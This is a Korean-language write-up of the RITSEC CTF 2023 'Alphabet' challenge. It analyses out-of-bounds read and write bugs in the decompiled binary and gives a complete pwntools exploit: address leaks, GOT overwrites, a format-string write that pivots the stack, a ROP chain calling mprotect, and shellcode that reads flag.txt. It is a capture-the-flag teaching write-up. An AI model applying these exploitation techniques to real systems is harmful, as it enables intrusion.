RITSEC CTF 2023 - Alphabet (oob read, write)

This new protocol let’s you update the official English alphabet in real time! Easy as A#_
nc alphabet.challenges.ctf.ritsec.club 1337

  • [21 solves / 500 points]

웬만한 씨텝은 취약점 찾는 것보다 익스가 훨씬 더 어려운 것 같다.. ㅠㅠ 이 문제가 근래 풀어본 문제 중에 익스가 가장 힘들고 어려웠다.

Analysis

먼저 main 함수이다.

참고로 seccomp이 있어서 확인해야 한다. 대충 flag.txt orw해야하고 mprotect 함수가 허용되어 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+8h] [rbp-58h]
int i; // [rsp+Ch] [rbp-54h]
char buf[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v6; // [rsp+58h] [rbp-8h]

v6 = __readfsqword(0x28u);
seccomp_rules();
while ( 1 )
{
do
puts("Running very important code and threads");
while ( !fgets(buf, 0x2D, stdin) ); // fgets@got -> gets
for ( i = 0; ; ++i )
{
if ( i > 44 )
goto LABEL_8;
if ( buf[i] == '\n' )
break;
}
v3 = i;
LABEL_8:
buf[v3] = 0;
use_packet(buf, v3);
puts("Scrambled alphabet sent");
}
}

주석은 익스와 관련된건데.. 일단 무시하고 코드 분석을 해보자. fgets 함수로 0x2D 크기만큼 buf에 입력을 받아서 오버플로우는 일어나지 않는다. \n이 오면 break하고 입력한 size와 함께 use_packet 함수를 실행한다. size가 44보다 크면 v3 변수가 정의되지 않으니 조심하자. 익스할 때 fgets@gotgets함수로 덮었었는데 v3 변수가 정의되지 않아 익스 코드에서 억지로 정의해줬다.

use_packet 함수를 살펴보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void __fastcall use_packet(char *buf, int len)
{
void *v2; // rbx
void *v3; // rbx
char *ptr; // [rsp+20h] [rbp-30h]
__int64 idx1; // [rsp+28h] [rbp-28h]
__int64 idx2; // [rsp+30h] [rbp-20h]

puts("Using packet");
if ( len > 17 && *buf == 'Z' && buf[1] == 8 && calc_checksum(buf, len) == buf[len - 1] )// 마지막 바이트 검사
{
ptr = malloc(buf[1]);
idx1 = *(buf + 2);
idx2 = *(buf + 10);
if ( idx1 <= 18 && idx2 <= 18 )
{
v2 = qword_404088;
*(buf + 0x12) = global_alphabet;
*(buf + 26) = v2;
strcpy(buf + 34, "qrstuvwxyz");
*ptr = *&buf[idx1 + 18]; // oob read
printf("Grabbed new alphabet characters: %s\n", ptr);
*&buf[idx2 + 18] = *ptr; // oob write
puts("Placed new letters into alphabet");
v3 = *(buf + 26);
global_alphabet = *(buf + 18); // bss 영역에 데이터 쓰기 가능
qword_404088 = v3;
qword_404090 = *(buf + 34);
word_404098 = *(buf + 21);
byte_40409A = buf[44];
puts("Updated the alphabet");
free(ptr);
}
else
{
puts("An index is too big");
}
}
} // ___stack_chk_fail@got -> ret

처음 if문으로 이것저것 검사한다. 입력값의 첫 글자는 Z여야 한다. 두 번째 글자는 \x08이어야 한다. 그리고 calc_checksum 함수로 입력값의 마지막 글자를 검사하고 있다. 익스 코드 짤 때 python으로 calc_checksum 함수를 구현해서 마지막 글자 한 바이트를 넣어주자. 그 다음 글자는 buf의 index로 사용하고 있고, 마지막에는 bss 영역에 값을 복사해주고 있다. payload를 보내야하는 형식은 아래와 같다. (구조체 정리)

1
2
3
4
payload = b'Z\x08'
payload += p64(idx1, signed=True) # idx1 => oob read
payload += p64(idx2, signed=True) # idx2 => oob write
payload += p8(calc_checksum(payload))

idx1idx2 크기 제한을 하고 있는데, 음수는 제한하지 않아 oob를 의심할 수 있다. (그래서 위의 구현에서 signed=True를 사용했다.)

이제 취약점을 찾아보자. *ptr = *&buf[idx1 + 18]; 이 라인으로 *ptr을 정의해주는데 바로 아래 줄에서 printfptr을 출력해주기 때문에 스택에 있는 주소를 leak할 수 있다.(oob read) 그리고 *&buf[idx2 + 18] = *ptr; 이 라인을 통해 oob write가 발생할 수 있다. 자. 이 두 취약점이 발생할 수 있는 이유는 idx1idx2가 우리의 입력값이고, 이 입력값 인덱스를 검증하지 않아서 buf에서 벗어난 곳에 접근할 수 있기 때문이다.

oob write는 익스할 때 아래처럼 구현해서 사용했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def aawb(addr, val):
# buf + idx2 + 18 = addr
# 0x7ffd30bf3da0 + idx2 + 18 = 0x1234
# idx2 = addr - buf - 18

# aawb(0x12345678, 0x41)
# 0x401664 <use_packet+391> mov QWORD PTR [rdx], rax
# $rax : 0x4000000060041
# $rdx : 0x12345678

payload = b'Z\x08'
payload += p64(next(libc.search(bytes([val]))) - buf - 18, signed=True)
payload += p64(addr - buf - 18, signed=True)
payload += p8(calc_checksum(payload))

p.sendlineafter('threads\n', payload)

# aawb는 한 바이트씩 썼지만 aaw는 aawb를 호출해서 8바이트를 쓸 것
def aaw(addr, values):
for i in range(len(values)):
aawb(addr+i, values[i])
1
2
*ptr = *&buf[idx1 + 18];
*&buf[idx2 + 18] = *ptr;

입력값이 idx2니까 payload에서 idx2에 들어갈 부분은 ptr - buf - 18이다. 위의 내가 만든 python 함수 aawb에서는 ptraddr로 지정했다. 이 위치에 들어갈 값은 idx1에 따라 결정되는데 이것은 libc에서 /bin/sh 문자열을 찾는 것처럼 next(libc.search(bytes([val])) - buf - 18로 작성해주었다. - buf - 18을 해준 이유는 idx2에 들어갈 값을 찾는 것과 동일한 원리이다. 참고로 next(libc.search(bytes([val]))libc에서 val 값을 찾는 것인데, val은 한 바이트이다.

왜 한 바이트씩 찾아서 값을 써줄까? 만약 x 주소0x41424344이라는 값을 쓰고 싶다고 하자. 이를 위해서 0x41424344이 저장된 주소를 찾아야 한다. 하지만 저 값이 저장된 주소는 찾기가 힘들 수도 있다. 그래서 한 바이트씩 찾아 써주는 것이다. 전체 값을 쓰기 위해서 aaw라는 함수를 정의했고 쓰고 싶은 값 길이만큼 aawb를 호출해서 값을 쓴다.

문제에서 while(1)로 입력값을 계속 쓸 수 있어서 이와 같은 발상이 가능했다.

마지막으로 우리가 python으로 구현해야할 calc_checksum이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall calc_checksum(const void *buf, int size)
{
unsigned __int8 result; // [rsp+1Bh] [rbp-15h]
int i; // [rsp+1Ch] [rbp-14h]
void *dest; // [rsp+20h] [rbp-10h]

dest = malloc(size);
memcpy(dest, buf, size);
result = 0;
for ( i = 0; i < size - 1; ++i )
result += *(dest + i) ^ 0x55;
free(dest); // free@got -> printf
return result;
}

xor을 두 번하면 원래대로 돌아오는 성질을 이용하면 된다.

1
2
3
4
5
6
def calc_checksum(data):
result = 0
for d in data:
result += d ^ 0x55
# print(repr(result))
return result & 0xff # 1 byte

Solve

  1. stack과 libc base를 구한다.
  2. 직접 구현한 aaw 함수를 이용하여 rop payload를 bss 영역에 써준다.
  • 왜 이런 payload를 썼는지는 아래에서 이해할 수 있다.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    bss = 0x404800 # bss의 정중앙

    # (!)
    rop_payload = b''
    rop_payload += p64(libc.sym['gets'])
    rop_payload += p64(libc.sym['printf'])
    rop_payload += p64(ret)
    rop_payload += p64(0x42424243)
    rop_payload += p64(0x42424244) # 404820

    # (!!)
    rop_payload += p64(pop_rsp) # <----!!!
    rop_payload += p64(buf + 0x50) # 두 번째 스택 피봇팅

    aaw(bss, rop_payload)
  1. got들을 덮어준다.
  • free@got -> printf, __stack_chk_fail@got -> ret, fgets@got -> gets
  • 이를 위해 bss 영역에 p64(libc.sym['gets']), p64(libc.sym['printf']), p64(ret)을 써주었다. (!)
  • got를 덮을 때는 aaw 함수를 사용하지 않고 바로 paylaod를 보내서 덮어주었다. (쓸 필요성 못 느낌)
  • 왜냐하면 fgets@gotgets 함수로 덮을 때 만약 한 바이트씩 덮게 된다면 한 바트씩 바뀐 잘못된 주소를 호출하기 때문이다.
  • fgets@got -> gets 덮을 때 b'a' * 0x12을 추가로 보내주었다. 왜냐하면 free@got을 덮어서 printf로 덮어서 fsb가 발생하는 것을 노렸는데, 만약 저 더미데이터를 보내주지 않으면 글자수가 17자로 fsb로 값을 쓰기엔 턱없이 부족하기 때문에 혹시몰라 더미데이터도 함께 보내주었다.

(현재 상황) main함수에서 fgets 대신 gets가 실행되므로 bof가 터짐! (카나리때문에 추가적으로 __stack_chk_fail@gotret으로 덮어줌!) calc_checksum 함수에서 fgets 함수 대신 printf가 실행되므로 fsb가 터짐!

  1. fsb를 이용하여 rbp를 변경하여 흐름을 bss 영역으로 돌린다. 이 bss 영역은 2번에서 적은 부분(!!)이고 pop_rsp를 실행할 것이다. (스택 피봇팅 1) <- 참고로 여기서 흐름이 bss 영역으로 바뀌어서, 즉 rbpbss 영역의 주소로 바뀌어서 조금 안좋은 일이 일어날 수 있다. 이는 맨 마지막에 이야기한다. ***>
  • fsbcalc_checksum 함수에서 터진다. 이 함수안에서의 rbpcalc_checksum 함수를 호출한 use_packetrbp가 저장된 스택 주소이다.
  • buf와 위 스택 주소의 offset은 0x90이다.
  • 0x404820으로 rbp를 변경시키기 위해 ln을 이용하여 0x20을 8 바이트 쓰고 hn을 이용하여 0x4048을 2 바이트 쓰자.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    payload = b'Z\x08' # 이걸 안하면 calc_checksum의 free(printf)가 호출이 안됨
    payload += b'%30c%38$ln%16424c%39$hn'
    payload = payload.ljust(0x40, b'a')
    payload += p64(stack - 0x90)
    payload += p64(stack - 0x90 + 1)

    # (!!!)
    payload += p64(pop_rdi) + p64(0x404000)
    payload += p64(pop_rsi) + p64(0x100)
    payload += p64(pop_rdx_r12) + p64(0x7) + p64(0)
    payload += p64(libc.sym['mprotect']) # 실행할수 있도록 권한 바꿔주고
    payload += p64(pop_rdi) + p64(0x404c00)
    payload += p64(libc.sym['gets']) # 여기에 쉘코드 입력 후
    payload += p64(0x404c00) # 점프
  1. 그럼 이제 흐름이 bss 영역의 아래 코드로 바뀌는데, 4번에서 스택에 써준 코드(!!!)로 이동한다. (스택 피봇팅 2)
  2. 마지막으로 mprotect 함수로 bss 영역 실행가능하게 설정해주고 gets 함수가 실행되니 flag.txt orw하는 쉘코드를 보내주자.

*** calc_checksum 함수에서 fsb를 이용하여 rbpbss영역으로 바꿔주었다. 여기까진 괜찮은데 그 다음 입력에서 문제가 발생할 수도 있다. (실제로 발생했다.) 지금 흐름 상황에서는 if문 안으로 들어가면 안된다.

1
2
3
4
5
if ( /* 이미 진행됨 */ && calc_checksum(buf, len) == buf[len - 1] /* 마지막 바이트 검사*/ )
{
// oob read, write 취약점이 발생하고 bss 영역에 값을 씀

}

의도하지 않은 상황이 발생할 수도 있으므로 익스하는데 필요하지 않은 코드는 최대한 실행시키지 말자는 생각을 가져야 한다. 사실상 마지막 바이트 검사는 틀릴 것이고 중요한 것은 buflenrbp를 기준으로 참조하기 때문에 위험하다. 그래서 아래 노란색으로 음영진 주소에서 터진다.


그래서 실제로 터진 주소(rbp-0x48)에는 접근 가능한 적당한 주소 넣어주고 len 에는 1을 넣어줬다.

1
2
aaw(0x404820 - 0x4c, p32(1))  # len
aaw(0x404820 - 0x48, p64(0x404264)) # buf 암꺼나

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
from pwn import *
from time import sleep

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./chall-p')
# p = remote('ret2win.challenges.ctf.ritsec.club', 1337)
e = ELF('./chall-p')
libc = ELF('./libc.so.6')

def calc_checksum(data):
result = 0
for d in data:
result += d ^ 0x55
# print(repr(result))
return result & 0xff # 1 byte

# 1. leak stack
payload = b'Z\x08'
payload += p64(-34, signed=True) # idx1 => oob read
payload += p64(0) # idx2 => oob write
payload += p8(calc_checksum(payload))
# print(repr(payload))
p.sendlineafter('threads\n', payload)

p.recvuntil('characters: ')
stack = int(u64(p.recv(6).ljust(8, b'\x00')))
info(hex(stack)) # buf address

# 2. leak libc
payload = b'Z\x08'
payload += p64(-250, signed=True) # idx1 => oob read
payload += p64(0) # idx2 => oob write.
payload += p8(calc_checksum(payload))
# print(repr(payload))
# pause()
p.sendlineafter('threads\n', payload)

p.recvuntil('characters: ')
libc_leak = int(u64(p.recv(6).ljust(8, b'\x00')) - 0x64f43 - 0x28000)
libc.address = libc_leak
info(hex(libc_leak))


buf = stack
# 한바이트씩 임의쓰기
# addr(주소)에 val(값)을 쓰기
def aawb(addr, val):
# buf + idx2 + 18
# 0x7ffd30bf3da0 + idx2 + 18 = 0x1234
# idx2 = addr - buf - 18

# aawb(0x12345678, 0x41)
# 0x401664 <use_packet+391> mov QWORD PTR [rdx], rax
# $rax : 0x4000000060041
# $rdx : 0x12345678

payload = b'Z\x08'
payload += p64(next(libc.search(bytes([val]))) - buf - 18, signed=True)
payload += p64(addr - buf - 18, signed=True)
payload += p8(calc_checksum(payload))

p.sendlineafter('threads\n', payload)

# aawb는 한 바이트씩 썼지만 aaw는 aawb를 호출해서 8바이트를 쓸 것
def aaw(addr, values):
for i in range(len(values)):
aawb(addr+i, values[i])


# bss = 0x4040c0
bss = 0x404800 # bss의 정중앙

ret = libc.address + 0x29cd6
pop_rsp = libc.address + 0x35732
pop_rdi = libc.address + 0x2a3e5
pop_rsi = libc.address + 0x2be51
pop_rdx_r12 = libc.address + 0x11f497


rop_payload = b''
# rop_payload += p64(0x4142434445464748)
rop_payload += p64(libc.sym['gets'])
rop_payload += p64(libc.sym['printf'])
rop_payload += p64(ret)
rop_payload += p64(0x42424243)
rop_payload += p64(0x42424244) # 404820

#
rop_payload += p64(pop_rsp) # <----!!!
rop_payload += p64(buf + 0x50) # 두 번째 스택 피봇팅

# pause()
aaw(bss, rop_payload) # 0x4040c0: 0x4142434445464748


# =======

# $rbp : 0x000000004040e0 → 0x00000042424244 ("DBBB"?)
# 0x401561 <use_packet+132> mov eax, DWORD PTR [rbp-0x4c] # len
# 0x40156a <use_packet+141> mov rax, QWORD PTR [rbp-0x48] # buf
# rbp가 bss 영역 주소로 바뀌었기 때문에 $rbp-0x4c와 $rbp-0x48을 참조하면서 안좋은 일이 발생할 수도 있음
# 미리 값을 채워주어 if문 안으로 들엉가는 일이 없도록 len을 1로 설정. 아래 식이 false가 되어야 함.(checksum은 계산된 값이기 때문에 높은 확률로 틀릴 것.) 이 전의 수식은 신경 안써도 됨. 문제는 calc_checksum 안에서 rbp가 바뀌기 때문
# calc_checksum(buf, len) == buf[len - 1]
# pause()
aaw(0x404820 - 0x4c, p32(1)) # len
aaw(0x404820 - 0x48, p64(0x404264)) # buf 암꺼나


# =======
# got 덮혔는지 확인 -> der $_got()

# free@got -> printf
payload = b'Z\x08'
payload += p64(bss + 8 - buf - 18, signed=True)
payload += p64(e.got['free'] - buf - 18, signed=True)
payload += p8(calc_checksum(payload))

p.sendlineafter('threads\n', payload)

# __stack_chk_fail@got -> ret
payload = b'Z\x08'
payload += p64(bss + 16 - buf - 18, signed=True)
payload += p64(e.got['__stack_chk_fail'] - buf - 18, signed=True)
payload += p8(calc_checksum(payload))

p.sendlineafter('threads\n', payload)

# fgets@got -> gets
# aaw(e.got['fgets'], p64(libc.sym['gets'])) # 한 바이트씩 바꾸기 때문에 한 바이트씩 바뀐 주소를 호출함. 잘못된 주소를 호출하기 때문에 터짐
payload = b'Z\x08'
payload += p64(bss - buf - 18, signed=True)
payload += p64(e.got['fgets'] - buf - 18, signed=True)
payload += b'a' * 0x12 # <- (!!)
payload += p8(calc_checksum(payload))

p.sendlineafter('threads\n', payload)

# (!!)
# 여기서 main의 24 line의 len이 19로 고정됨.
# 뒤에 printf에서 17자로 보내야하는데 모자람.
# 이를 위해서 1. aaw를 이용해서 len에 큰 수 넣기. 2. fgets로 덮기 전에 뭔가 더 추가적으로 보내줘서 len이 더 긴 길이로 고정되도록
# 2번 방법을 채택하였음. 그치만 너무 큰 수 보내면 fgets 길이 제한에 걸리니 적당한 수를 보내야 함




# ==============

# 이제 fgets 대신 gets가 실행되니 bof가 터지는 상황
# printf (fsb가 터짐): rbp 변경 -> 흐름이 bss 영역으로 바뀐다. (스택 피봇팅 두 번 할 것임)
# 첫 번째 스택 피봇팅: bss 영역으로 이동해서 pop_rsp 실행
# 두 번째 스택 피봇팅: 다시 스택으로 돌아와서 남은 페이로드 실행
# payload : mprotect로 버퍼 권한 변경해주고 그 버퍼에 gets 함수로 입력을 받을 것.
# gets 함수 입력으로 flag orw


# 스택에 있는 rbp 주소를 bss 영역으로 바꾼다.

# ln -> 8 byte 씀
# hn -> 2 byte 씀

# 0x404820: 0x0000000042424244
# calc_checksum의 rbp는 이 함수를 호출한 함수의 <rbp가 저장된 주소>
# a주소(rsp) : use_packet 함수의 rbp
# buf와 a주소의 오프셋은 0x90

sleep(2)

payload = b'Z\x08' # 이걸 안하면 calc_checksum의 free(printf)가 호출이 안됨
payload += b'%30c%38$ln%16424c%39$hn'
payload = payload.ljust(0x40, b'a')
payload += p64(stack - 0x90)
payload += p64(stack - 0x90 + 1)

#
payload += p64(pop_rdi) + p64(0x404000)
payload += p64(pop_rsi) + p64(0x100)
payload += p64(pop_rdx_r12) + p64(0x7) + p64(0)
payload += p64(libc.sym['mprotect']) # 실행할수 있도록 권한 바꿔주고
payload += p64(pop_rdi) + p64(0x404c00)
payload += p64(libc.sym['gets']) # 여기에 쉘코드 입력 후
payload += p64(0x404c00) # 점프

pause()
p.sendlineafter('threads\n', payload)


payload = asm(
'sub rsp, 0x100'
+ shellcraft.open('./flag.txt')
+ shellcraft.read(3, 0x404400, 0x100)
+ shellcraft.write(1, 0x404400, 0x100)
)

p.sendline(payload)

p.interactive()